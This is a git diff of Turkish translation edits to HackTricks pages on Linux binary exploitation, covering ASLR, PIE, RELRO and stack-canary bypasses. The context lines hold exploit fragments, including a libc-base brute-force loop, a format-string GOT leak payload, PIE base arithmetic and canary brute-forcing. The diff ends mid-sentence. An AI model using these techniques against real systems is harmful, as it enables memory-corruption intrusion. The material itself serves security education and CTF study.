@@ -4,7 +4,7 @@ ## Temel Bilgiler -**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde **bellek adreslerini rastgele hale getirmek** için kullanılan bir güvenlik tekniğidir. Bu sayede, bir saldırganın belirli süreçlerin ve verilerin, örneğin yığın, yığın bellek ve kütüphaneler gibi, konumunu tahmin etmesi önemli ölçüde zorlaşır ve bu da belirli türdeki istismarları, özellikle de tampon taşmalarını azaltır. +**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve **sistem ve uygulama süreçleri** tarafından kullanılan bellek adreslerini rastgele hale getirir. Bu sayede, bir saldırganın belirli süreçlerin ve verilerin, örneğin yığın, yığın bellek ve kütüphaneler gibi, konumunu tahmin etmesi önemli ölçüde zorlaşır ve bu da belirli türdeki istismarları, özellikle de tampon taşmalarını azaltır. ### **ASLR Durumunu Kontrol Etme** @@ -37,7 +37,7 @@ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` ### **Yeniden Başlatmalarda Süreklilik** -`echo` komutlarıyla yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanacaktır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekir: +`echo` komutlarıyla yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekir: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or @@ -53,18 +53,18 @@ Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacak ### 32bit brute-forcing -PaX, süreç adres alanını **3 gruba** ayırır: +PaX, işlem adres alanını **3 gruba** ayırır: -- **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken, her süreçle rastgele başlatılır ve başlangıç adreslerine eklenir. +- **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken, her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir. - `mmap()` ile tahsis edilen **bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` olarak adlandırılır. -- **Yığın** —> **24 bit**, `delta_stack` olarak adlandırılır. Ancak, etkili olarak **11 bit** kullanır (10. bayttan 20. bayta kadar dahil), **16 bayt** hizalanmış —> Bu, **524,288 olası gerçek yığın adresi** ile sonuçlanır. +- **Yığın** —> **24 bit**, `delta_stack` olarak adlandırılır. Ancak, etkili olarak **11 bit** kullanır (10. bayttan 20. bayta kadar dahil), **16 bayt** hizalıdır —> Bu, **524,288 olası gerçek yığın adresi** ile sonuçlanır. Önceki veriler 32-bit sistemler içindir ve azaltılmış nihai entropi, istismar başarılı bir şekilde tamamlanana kadar yürütmeyi tekrar tekrar denemek suretiyle ASLR'yi atlatmayı mümkün kılar. #### Brute-force fikirleri: -- Eğer shellcode'dan önce **büyük bir NOP sled** barındıracak kadar büyük bir taşma varsa, yığında adresleri brute-force yaparak akışın **NOP sled'in bir kısmının üzerinden atlamasını** sağlayabilirsiniz. -- Taşma o kadar büyük değilse ve istismar yerel olarak çalıştırılabiliyorsa, **NOP sled ve shellcode'u bir ortam değişkenine eklemek** mümkündür. +- Eğer shellcode'dan önce **büyük bir NOP kaydı** barındıracak kadar büyük bir taşma varsa, yığında adresleri brute-force yaparak akışın **NOP kaydının bir kısmının üzerinden atlamasını** sağlayabilirsiniz. +- Taşma o kadar büyük değilse ve istismar yerel olarak çalıştırılabiliyorsa, **NOP kaydını ve shellcode'u bir ortam değişkenine eklemek** mümkündür. - Eğer istismar yerel ise, libc'nin temel adresini brute-force yapmayı deneyebilirsiniz (32bit sistemler için yararlıdır): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): @@ -85,7 +85,7 @@ Bir sürecin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunab - **arg_start** & **arg_end**: **cli argümanlarının** üstünde ve altında adresler. - **env_start** & **env_end**: **env değişkenlerinin** üstünde ve altında adresler. -Bu nedenle, eğer saldırgan, istismar edilen ikili dosyanın bulunduğu bilgisayarda ise ve bu ikili dosya ham argümanlardan taşmayı beklemiyorsa, ancak bu dosyayı okuduktan sonra oluşturulabilecek farklı bir **girdi** üzerinden bekliyorsa, bir saldırganın **bu dosyadan bazı adresleri alması ve bunlardan istismar için ofsetler oluşturması mümkündür**. +Bu nedenle, eğer saldırgan, istismar edilen ikili dosyanın bulunduğu bilgisayarda ise ve bu ikili dosya ham argümanlardan taşmayı beklemiyorsa, ancak bu dosyayı okuduktan sonra oluşturulabilecek farklı bir **girdi**'den bekliyorsa, bir saldırganın **bu dosyadan bazı adresleri alması ve bunlardan istismar için ofsetler oluşturması mümkündür**. > [!TIP] > Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde `/proc/pid/stat` araması yapın. @@ -129,7 +129,7 @@ ret2plt.md - **Format Strings Arbitrary Read** -ret2plt'de olduğu gibi, bir format string zafiyeti aracılığıyla rastgele bir okuma varsa, GOT'tan bir **libc fonksiyonu** adresini dışarı sızdırmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): +ret2plt'de olduğu gibi, bir format string zafiyeti aracılığıyla rastgele bir okuma varsa, GOT'dan bir **libc fonksiyonu** adresini dışarı sızdırmak mümkündür. Aşağıdaki [**örnek buradan**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md index 21726d418..d05f1a04b 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -71,8 +71,8 @@ p.interactive() ## Diğer örnekler ve Referanslar - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ASLR etkin ama PIE yok, ilk adım bir taşmayı 0x00 byte'ına kadar doldurmak ve ardından puts çağırarak sızıntı yapmaktır. Canary ile bir ROP gadget'ı oluşturulur, puts'u çağırarak GOT'tan puts'un adresini sızdırır ve ardından `system('/bin/sh')` çağırmak için bir ROP gadget'ı. +- 64 bit, ASLR etkin ama PIE yok, ilk adım bir taşmayı 0x00 byte'ına kadar doldurmak ve ardından puts çağrısı yaparak sızıntıyı elde etmektir. Canary ile bir ROP gadget'ı oluşturulur, puts'u çağırarak GOT'tan puts adresini sızdırır ve ardından `system('/bin/sh')` çağırmak için bir ROP gadget'ı. - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) -- 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonu ile yığın taşması. Puts'u çağırmak için bir ROP gadget'ı, GOT'tan puts'un adresini sızdırır ve ardından bir gadget çağırır. +- 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonu ile yığın taşması. Puts'un GOT'tan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırmak için. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md index c02d4eaea..bc5233700 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md @@ -8,16 +8,16 @@ PIE olarak derlenmiş bir ikili, yani **Konum Bağımsız Yürütülebilir**, ** Bu ikilileri istismar etmenin püf noktası, **göreceli adresleri** istismar etmektir—programın parçaları arasındaki ofsetler, mutlak konumlar değişse bile aynı kalır. **PIE'yi atlatmak için yalnızca bir adres sızdırmanız gerekir**, genellikle **yığın** üzerinden format dizesi saldırıları gibi zafiyetler kullanarak. Bir adres elde ettiğinizde, diğerlerini **sabit ofsetleri** ile hesaplayabilirsiniz. -PIE ikililerini istismar etmede yardımcı bir ipucu, **temel adreslerinin genellikle 000 ile bitmesidir** çünkü bellek sayfaları rastgeleleştirme birimleri olup, boyutları 0x1000 bayttır. Bu hizalama, bir istismar beklenildiği gibi çalışmıyorsa kritik bir **kontrol olabilir**, doğru temel adresinin belirlenip belirlenmediğini gösterir.\ +PIE ikililerini istismar etmede yardımcı bir ipucu, **temel adreslerinin genellikle 000 ile bitmesidir** çünkü bellek sayfaları rastgeleleştirme birimleri olup, boyutları 0x1000 bayttır. Bu hizalama, bir istismar beklenildiği gibi çalışmıyorsa kritik bir **kontrol olabilir**, doğru temel adresin tanımlanıp tanımlanmadığını gösterir.\ Ya da bunu istismarınız için kullanabilirsiniz, eğer bir adresin **`0x649e1024`** konumunda olduğunu sızdırırsanız, **temel adresin `0x649e1000`** olduğunu bilirsiniz ve buradan sadece **ofsetleri** hesaplayabilirsiniz. ## Atlatmalar -PIE'yi atlatmak için, yüklenmiş ikilinin **bir adresini sızdırmak** gereklidir, bunun için bazı seçenekler vardır: +PIE'yi atlatmak için, yüklü ikilinin **bir adresini sızdırmak** gereklidir, bunun için bazı seçenekler vardır: -- **ASLR devre dışı bırakıldı**: ASLR devre dışı bırakıldığında, PIE ile derlenmiş bir ikili her zaman **aynı adreste yüklenecektir**, bu nedenle **PIE işe yaramayacaktır** çünkü nesnelerin adresleri her zaman aynı yerde olacaktır. +- **ASLR'yi devre dışı bırakma**: ASLR devre dışı bırakıldığında, PIE ile derlenmiş bir ikili her zaman **aynı adreste yüklenecektir**, bu nedenle **PIE işe yaramayacaktır** çünkü nesnelerin adresleri her zaman aynı yerde olacaktır. - Sızdırma **verilmesi** (kolay CTF zorluklarında yaygındır, [**bu örneğe bakın**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- Yığındaki **EBP ve EIP değerlerini** doğru olanları sızdırana kadar brute-force ile denemek: +- Yığındaki **doğru EBP ve EIP değerlerini sızdırana kadar brute-force** yapmak: {{#ref}} bypassing-canary-and-pie.md diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 70632eb4d..dbf01ead3 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -7,7 +7,7 @@ ![](<../../../../images/image (144).png>) > [!NOTE] -> **`checksec`**'in bir ikilinin canary ile korunduğunu bulamayabileceğini unutmayın, eğer bu statik olarak derlenmişse ve fonksiyonu tanımlama yeteneğine sahip değilse.\ +> **`checksec`**'in bir ikilinin canary ile korunduğunu bulamayabileceğini unutmayın, eğer bu statik olarak derlenmişse ve fonksiyonu tanımlama yeteneği yoksa.\ > Ancak, bir fonksiyon çağrısının başında yığında bir değerin kaydedildiğini ve bu değerin çıkmadan önce kontrol edildiğini bulursanız, bunu manuel olarak fark edebilirsiniz. ## Brute-Force Adresleri @@ -68,16 +68,16 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` PIE'yi yenmek için son şey, **sızdırılan** adreslerden **yararlı adresleri hesaplamak**: **RBP** ve **RIP**. -**RBP**'den, **yığın içinde shell'inizi nereye yazdığınızı** hesaplayabilirsiniz. Bu, yığın içinde _"/bin/sh\x00"_ dizesini nereye yazacağınızı bilmek için çok yararlı olabilir. Sızdırılan RBP ile shellcode'unuz arasındaki mesafeyi hesaplamak için, **RBP'yi sızdırdıktan sonra bir kesme noktası koyabilir** ve **shellcode'unuzun nerede bulunduğunu** kontrol edebilirsiniz, ardından shellcode ile RBP arasındaki mesafeyi hesaplayabilirsiniz: +**RBP**'den, **yığın içinde shell'inizi nereye yazdığınızı** hesaplayabilirsiniz. Bu, yığın içinde _"/bin/sh\x00"_ dizesini nereye yazacağınızı bilmek için çok yararlı olabilir. Sızdırılan RBP ile shellcode'unuz arasındaki mesafeyi hesaplamak için, **RBP'yi sızdırdıktan sonra bir kesme noktası koyup** **shellcode'unuzun nerede bulunduğunu** kontrol edebilirsiniz, ardından shellcode ile RBP arasındaki mesafeyi hesaplayabilirsiniz: ```python INI_SHELLCODE = RBP - 1152 ``` -**RIP**'ten **PIE ikili dosyasının temel adresini** hesaplayabilirsiniz, bu da **geçerli bir ROP zinciri** oluşturmak için gereklidir.\ -Temel adresi hesaplamak için `objdump -d vunbinary` komutunu çalıştırın ve en son adresleri kontrol edin: +**RIP**'den **PIE ikili dosyasının temel adresini** hesaplayabilirsiniz, bu da **geçerli bir ROP zinciri** oluşturmak için gereklidir.\ +Temel adresi hesaplamak için sadece `objdump -d vunbinary` komutunu çalıştırın ve en son adresleri kontrol edin: ![](<../../../../images/image (145).png>) -Bu örnekte, tüm kodu bulmak için yalnızca **1.5 Bayt gereklidir**, bu durumda temel adres **sızdırılan RIP ama "000" ile biten** olacaktır. Örneğin, `0x562002970ecf` sızdırdıysanız, temel adres `0x562002970000`'dır. +Bu örnekte, tüm kodu bulmak için yalnızca **1.5 Bayt gereklidir**, bu durumda temel adres **sızdırılan RIP ama "000" ile biten** olacaktır. Örneğin, eğer `0x562002970ecf` sızdırdıysanız, temel adres `0x562002970000`'dır. ```python elf.address = RIP - (RIP & 0xfff) ``` diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md index 30e34d0cc..2b4083a11 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md @@ -4,19 +4,19 @@ ## Relro -**RELRO**, **Yer Değiştirme Okuma-Yazma** anlamına gelir ve **GOT (Küresel Ofset Tablosu)** yazmalarına ilişkin riskleri azaltmak için ikili dosyalarda kullanılan bir güvenlik özelliğidir. Kavramı netlik için iki ayrı türüne ayıralım: **Kısmi RELRO** ve **Tam RELRO**. +**RELRO**, **Yer Değiştirme Sadece Okuma** anlamına gelir ve **GOT (Küresel Ofset Tablosu)** yazmalarına ilişkin riskleri azaltmak için ikili dosyalarda kullanılan bir güvenlik özelliğidir. Kavramı netlik için iki ayrı türüne ayıralım: **Kısmi RELRO** ve **Tam RELRO**. ### **Kısmi RELRO** -**Kısmi RELRO**, güvenliği artırmak için daha basit bir yaklaşım benimser ve ikili dosyanın performansını önemli ölçüde etkilemez. **GOT'u programın değişkenlerinin üzerinde konumlandırarak, Kısmi RELRO, tampon taşmaların GOT'a ulaşmasını ve onu bozmasını önlemeyi amaçlar.** +**Kısmi RELRO**, güvenliği artırmak için daha basit bir yaklaşım benimser ve ikili dosyanın performansını önemli ölçüde etkilemez. **GOT'u programın değişkenlerinin bellekte üzerinde konumlandırarak, Kısmi RELRO, tampon taşmaların GOT'a ulaşmasını ve onu bozmasını önlemeyi amaçlar.** Bu, **GOT'un** **rastgele yazma** zafiyetleri tarafından kötüye kullanılmasını önlemez. ### **Tam RELRO** -**Tam RELRO**, **GOT'u tamamen okunur hale getirerek** korumayı artırır. İkili dosya başladığında tüm işlev adresleri çözülür ve GOT'a yüklenir, ardından GOT okunur olarak işaretlenir, bu da çalışma zamanında herhangi bir değişikliğin önlenmesini sağlar. +**Tam RELRO**, **GOT'u tamamen sadece okunur hale getirerek** korumayı artırır. İkili dosya başladığında tüm fonksiyon adresleri çözülür ve GOT'a yüklenir, ardından GOT sadece okunur olarak işaretlenir, bu da çalışma zamanında herhangi bir değişikliğin önlenmesini sağlar. -Ancak, Tam RELRO'nun dezavantajı performans ve başlangıç süresidir. Çünkü GOT'u okunur olarak işaretlemeden önce tüm dinamik sembolleri başlangıçta çözmesi gerektiğinden, **Tam RELRO etkin olan ikili dosyalar daha uzun yükleme süreleri yaşayabilir.** Bu ek başlangıç yükü, Tam RELRO'nun tüm ikili dosyalarda varsayılan olarak etkin olmamasının nedenidir. +Ancak, Tam RELRO'nun dezavantajı performans ve başlangıç süresidir. Çünkü GOT'u sadece okunur olarak işaretlemeden önce tüm dinamik sembolleri başlangıçta çözmesi gerekir, **Tam RELRO etkin olan ikili dosyalar daha uzun yükleme süreleri yaşayabilir.** Bu ek başlangıç yükü, Tam RELRO'nun tüm ikili dosyalarda varsayılan olarak etkin olmamasının nedenidir. Bir ikili dosyada Tam RELRO'nun etkin olup olmadığını görmek mümkündür: ```bash diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md index d1e59a99c..404219911 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -4,17 +4,17 @@ ## **StackGuard ve StackShield** -**StackGuard**, **EIP (Genişletilmiş Talimat İşaretçisi)**'nden önce, özellikle `0x000aff0d` (null, yeni satır, EOF, taşıma dönüşü temsil eder) olarak bilinen özel bir değeri **canary** olarak ekler ve bu, tampon taşmalarına karşı koruma sağlar. Ancak, `recv()`, `memcpy()`, `read()` ve `bcopy()` gibi fonksiyonlar hala savunmasızdır ve **EBP (Temel İşaretçi)**'yi korumaz. +**StackGuard**, **EIP (Extended Instruction Pointer)**'dan önce, özellikle `0x000aff0d` (null, yeni satır, EOF, taşıma dönüşü temsil eder) olarak bilinen özel bir değeri **canary** olarak ekler ve bu, tampon taşmalarına karşı koruma sağlar. Ancak, `recv()`, `memcpy()`, `read()` ve `bcopy()` gibi fonksiyonlar hala savunmasızdır ve **EBP (Base Pointer)**'yi korumaz. -**StackShield**, tüm dönüş adreslerini (**EIP'ler**) saklayan bir **Küresel Dönüş Yığını** tutarak StackGuard'dan daha sofistike bir yaklaşım benimser. Bu yapı, herhangi bir taşmanın zarar vermemesini sağlar, çünkü saklanan ve gerçek dönüş adresleri arasında bir karşılaştırma yapılmasına olanak tanır ve taşma durumlarını tespit eder. Ayrıca, StackShield, dönüş adresini bir sınır değeri ile kontrol ederek **EIP**'nin beklenen veri alanının dışına işaret edip etmediğini tespit edebilir. Ancak, bu koruma, Return-to-libc, ROP (Dönüş-İlişkili Programlama) veya ret2ret gibi tekniklerle aşılabilir, bu da StackShield'in yerel değişkenleri de korumadığı anlamına gelir. +**StackShield**, tüm dönüş adreslerini (**EIPs**) saklayan bir **Global Return Stack** tutarak StackGuard'dan daha sofistike bir yaklaşım benimser. Bu yapı, herhangi bir taşmanın zarar vermemesini sağlar, çünkü saklanan ve gerçek dönüş adresleri arasında bir karşılaştırma yapılmasına olanak tanır. Ayrıca, StackShield, **EIP**'nin beklenen veri alanının dışına işaret edip etmediğini tespit etmek için dönüş adresini bir sınır değeri ile kontrol edebilir. Ancak, bu koruma, Return-to-libc, ROP (Return-Oriented Programming) veya ret2ret gibi tekniklerle aşılabilir, bu da StackShield'in yerel değişkenleri de korumadığı anlamına gelir. ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** Bu mekanizma, **EBP**'den önce bir **canary** yerleştirir ve yerel değişkenleri daha yüksek bellek adreslerinde konumlandıracak şekilde yeniden düzenler, böylece diğer değişkenleri yazmalarını engeller. Ayrıca, yerel değişkenlerin üzerinde yığılan argümanları güvenli bir şekilde kopyalar ve bu kopyaları argüman olarak kullanır. Ancak, 8'den az eleman içeren dizileri veya bir kullanıcının yapısı içindeki tamponları korumaz. -**Canary**, `/dev/urandom`'dan türetilen rastgele bir sayıdır veya varsayılan değeri `0xff0a0000`'dir. **TLS (İş Parçacığı Yerel Depolama)**'da saklanır, bu da iş parçacıkları arasında paylaşılan bellek alanlarının iş parçacığına özgü küresel veya statik değişkenlere sahip olmasını sağlar. Bu değişkenler başlangıçta ana süreçten kopyalanır ve çocuk süreçler, ana veya kardeşleri etkilemeden verilerini değiştirebilir. Ancak, eğer bir **`fork()` yeni bir canary oluşturmadan kullanılırsa, tüm süreçler (ana ve çocuklar) aynı canary'yi paylaşır**, bu da onu savunmasız hale getirir. **i386** mimarisinde, canary `gs:0x14`'te, **x86_64**'de ise `fs:0x28`'de saklanır. +**Canary**, `/dev/urandom`'dan türetilen rastgele bir sayıdır veya varsayılan değeri `0xff0a0000`'dir. **TLS (Thread Local Storage)**'de saklanır, bu da iş parçacıkları arasında paylaşılan bellek alanlarının iş parçacığına özgü küresel veya statik değişkenlere sahip olmasına olanak tanır. Bu değişkenler başlangıçta ana süreçten kopyalanır ve çocuk süreçler, ana veya kardeşleri etkilemeden verilerini değiştirebilir. Ancak, eğer bir **`fork()` yeni bir canary oluşturmadan kullanılırsa, tüm süreçler (ana ve çocuklar) aynı canary'yi paylaşır**, bu da onu savunmasız hale getirir. **i386** mimarisinde, canary `gs:0x14`'te, **x86_64**'de ise `fs:0x28`'de saklanır. -Bu yerel koruma, saldırılara karşı savunmasız tamponlara sahip fonksiyonları tanımlar ve bu fonksiyonların başına canary yerleştirmek için kod enjekte eder ve sonunda bütünlüğünü doğrulamak için kod ekler. +Bu yerel koruma, saldırılara karşı savunmasız tamponlara sahip fonksiyonları tanımlar ve bu fonksiyonların başına canary'yi yerleştirmek için kod enjekte eder ve sonunda bütünlüğünü doğrulamak için kod ekler. Bir web sunucusu `fork()` kullandığında, canary'yi byte byte tahmin etmek için bir kaba kuvvet saldırısını etkinleştirir. Ancak, `fork()`'tan sonra `execve()` kullanmak bellek alanını yazdığı için saldırıyı geçersiz kılar. `vfork()`, çocuk sürecin yazma girişiminde bulunana kadar kopyalamadan çalışmasına izin verir; bu noktada bir kopya oluşturulur ve süreç oluşturma ve bellek yönetimi için farklı bir yaklaşım sunar. @@ -45,7 +45,7 @@ print-stack-canary.md - **Yığın üzerinde saklanan işaretçileri üzerine yazma** -Yığın, bir yığın taşmasına karşı savunmasızsa, **aşılabilecek string veya fonksiyon adreslerini içerebilir**. Kontrol et: +Yığın, bir yığın taşmasına karşı savunmasızsa, **string'lere veya işlevlere ait adresleri içerebilir** ve bu adresler, canary'ye ulaşmadan açığı istismar etmek için üzerine yazılabilir. Kontrol et: {{#ref}} ../../stack-overflow/pointer-redirecting.md @@ -53,18 +53,18 @@ Yığın, bir yığın taşmasına karşı savunmasızsa, **aşılabilecek strin - **Hem ana hem de iş parçacığı canary'sini değiştirme** -Canary ile korunan bir iş parçacıklı fonksiyondaki bir tampon taşması, iş parçacığının ana canary'sini değiştirmek için kullanılabilir. Sonuç olarak, bu önlem işe yaramaz çünkü kontrol, aynı (değiştirilmiş) iki canary ile kullanılır. +Canary ile korunan bir iş parçacıklı fonksiyonda bir tampon taşması, iş parçacığının ana canary'sini değiştirmek için kullanılabilir. Sonuç olarak, bu önlem işe yaramaz çünkü kontrol, aynı (değiştirilmiş) iki canary ile kullanılır. - **`__stack_chk_fail` GOT girişini değiştirme** -Eğer ikili dosya Kısmi RELRO'ya sahipse, o zaman canary değiştiğinde programı engellemeyen sahte bir fonksiyon olacak şekilde `__stack_chk_fail`'in GOT girişini değiştirmek için keyfi bir yazma kullanabilirsiniz. +Eğer ikili dosya Partial RELRO'ya sahipse, o zaman canary değiştiğinde programı engellemeyen sahte bir fonksiyon olacak şekilde `__stack_chk_fail`'in GOT girişini değiştirmek için keyfi bir yazma kullanabilirsiniz. ## Referanslar - [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -- 64 bit, PIE yok, nx, iş parçacığı ve ana canary'yi değiştir. +- 64 bit, no PIE, nx, iş parçacığı ve ana canary'yi değiştir. - [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -- 64 bit, PIE yok, nx, write-what-where primitive. `__stack_chk_fail`'in GOT girişini değiştir. +- 64 bit, no PIE, nx, write-what-where primitive. `__stack_chk_fail`'in GOT girişini değiştir. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index d453909f0..5e5de43ff 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -8,13 +8,13 @@ > [!NOTE] > **`checksec`**'in bir ikili dosyanın canary ile korunduğunu bulamayabileceğini unutmayın, eğer bu statik olarak derlenmişse ve fonksiyonu tanımlama yeteneğine sahip değilse.\ -> Ancak, bir fonksiyon çağrısının başında yığında bir değerin saklandığını ve bu değerin çıkmadan önce kontrol edildiğini bulursanız, bunu manuel olarak fark edebilirsiniz. +> Ancak, bir fonksiyon çağrısının başında bir değerin stack'te saklandığını ve bu değerin çıkmadan önce kontrol edildiğini bulursanız, bunu manuel olarak fark edebilirsiniz. ## Brute force Canary Basit bir canary'yi aşmanın en iyi yolu, ikili dosyanın her yeni bağlantı kurduğunuzda **çocuk süreçleri fork eden** bir program olmasıdır (ağ servisi), çünkü her bağlantı kurduğunuzda **aynı canary kullanılacaktır**. -Bu durumda, canary'yi aşmanın en iyi yolu, sadece **karakter karakter brute-force** yapmaktır ve tahmin edilen canary baytının doğru olup olmadığını, programın çöküp çökmediğini veya normal akışına devam edip etmediğini kontrol ederek anlayabilirsiniz. Bu örnekte, fonksiyon **8 Baytlık bir canary'yi (x64) brute-force** yapar ve doğru tahmin edilen bir bayt ile kötü bir baytı ayırt etmek için sadece **kontrol eder**; eğer sunucu tarafından bir **yanıt** geri gönderilmişse (başka bir durumda **try/except** kullanmak da bir yol olabilir): +Bu durumda, canary'yi aşmanın en iyi yolu, sadece **karakter karakter brute-force** yapmaktır ve tahmin edilen canary baytının doğru olup olmadığını, programın çöküp çökmediğini veya normal akışına devam edip etmediğini kontrol ederek anlayabilirsiniz. Bu örnekte, fonksiyon **8 Baytlık bir canary'yi (x64) brute-force** yapar ve doğru tahmin edilen bayt ile yanlış bayt arasında sadece **kontrol ederek** ayrım yapar; eğer sunucu tarafından bir **yanıt** geri gönderiliyorsa (başka bir durumda **try/except** kullanmak da bir yol olabilir): ### Örnek 1 @@ -188,7 +188,7 @@ $tls = 0x7ffff7d7f640 > [!NOTE] > Yukarıdaki GDB fonksiyonlarının bazıları, genellikle [hugsy/gef](https://github.com/hugsy/gef) ile karşılaştırıldığında daha fazla özelliğe sahip olan [bata24/gef](https://github.com/bata24/gef) adlı bir uzantıda tanımlanmıştır. -Sonuç olarak, büyük bir Buffer Overflow, hem stack canary'yi hem de TLS'deki master canary'yi değiştirmeye izin verebilir. Bu, ofsettir: +Sonuç olarak, büyük bir Buffer Overflow, hem yığın canarini hem de TLS'deki ana canarini değiştirmeye izin verebilir. Bu, ofsettir: ```bash gef> p/x 0x7ffff7d7f668 - $rdi $1 = 0x848 diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index e622dc2d3..6a48a878b 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -6,16 +6,16 @@ Yığın taşmasına **duyarlı** bir **programın** **stack overflow**'un **bir kısmına** **işaret eden** bir **puts** fonksiyonunu çalıştırabildiği bir durumu hayal edin. Saldırgan, **kanaryanın ilk baytının bir null bayt olduğunu** (`\x00`) ve kanaryanın geri kalanının **rastgele** baytlar olduğunu bilir. Ardından, saldırgan **kanaryanın ilk baytına kadar yığını** **aşan** bir taşma oluşturabilir. -Sonra, saldırgan **payload'un ortasında puts fonksiyonunu** **çağırır** ve bu, **kanaryayı** **yazdırır** (ilk null bayt hariç). +Sonra, saldırgan **payload'un ortasında puts fonksiyonunu** **çağırır** ve bu, **kanaryayı** (ilk null bayt hariç) **yazdırır**. Bu bilgiyle saldırgan, kanaryayı (aynı program oturumunda) 